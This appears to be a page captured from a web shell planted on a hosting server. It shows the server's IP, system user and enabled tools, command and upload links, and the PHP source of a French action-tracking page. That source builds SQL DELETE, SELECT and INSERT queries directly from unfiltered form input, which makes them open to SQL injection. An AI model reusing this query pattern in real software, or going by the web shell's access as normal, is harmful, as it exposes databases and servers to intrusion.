|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/www/../../MCPRO/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
include('code/suivi/traitements.php');
print_header ();
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
if($_POST['Suppr']=="Supprimer")
{
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
// exit() ;
dbi_query("DELETE FROM suivi_biais
WHERE suivi_biais_id = ".$_POST['client_suivi_id'] ) ;
}
if(!empty($_POST['action']))
{
$suivi_id =$_POST['suivi_id'] ;
$action =$_POST['action'] ;
list($suivi_ordre) = dbi_fetch_row( dbi_query(" SELECT suivi_ordre FROM `suivi` where suivi_id = ". $suivi_id)) ;
dbi_query("INSERT INTO suivi_biais (suivi_biais_intitule, suivi_biais_ordre, suivi_parentt)
VALUES ('$action', $suivi_ordre ,$suivi_id ) ") ;
}
?>
<br/><br/><br/>
<table width=95% style="margin:0 auto;" height="250px">
<tr>
<td style="padding: 2px 26px 2px 0px; " valign="top" width="50%">
<div id="sb" valign="top" style=" cursor: move; position: relative; top: 0px; height: 100%;" >
<form method="post" action="" name="client_form">
<h3>Ajouter Actions</h3>
<table width=100% >
<tr>
<td class="tdl"><label for="login_username" >Suivi</label></td>
<td class="tdl"> <?=selection_suivi($a['suivi_id'], 'suivi_id')?></td>
</tr>
<tr>
<td class="tdl"><label for="login_username" >Action </label></td>
<td colspan="3" class="tdl"><input type="text" name="action" id="client_nom" class="field required" /></td>
</tr>
<tr><td width="50%"></td><td width="50%"><input name="valider" type="submit" value="Ajouter" class="blubutton" /></td></tr>
</table>
</div>
</td>
</tr>
</table>
<?
$swivi=dbi_query("SELECT * FROM `suivi` where suivi_id in ( SELECT distinct suivi_parentt FROM `suivi_biais` where suivi_parentt is not NULL )") ;
while($ss= dbi_fetch_row($swivi))
{
?>
<table class="td_normal" style="margin-top: 10px;" cellpadding="0" cellspacing="0" border="2px">
<?
?>
<tr style="background: rgb(0,146,200)" >
<th colspan=7 style="color: rgb(255,255,255) ; font-size:x-large ;" > <?=$ss['suivi_intitule']?> </th>
</tr>
<?php
$swivi_bia=dbi_query("SELECT * FROM suivi_biais where suivi_parentt = ".$ss['suivi_id']) ;
while($ss_bia= dbi_fetch_row($swivi_bia))
{
$aaab =mysql_num_rows($ss_bia) ;
?>
<tr>
<form method="post" action="" name="swiv">
<td align="center" style="width:700px;"><?=$ss_bia['suivi_biais_intitule']?></td> <td align="center"> <input type="hidden" name="client_suivi_id" value="<?=$ss_bia['suivi_biais_id']?>"> <input name="Suppr" type="submit" value="Supprimer" class="blubutton" /></td>
</tr>
</form>
<?php
}
?>
</table>
<br/>
<?
}
?>
</form>
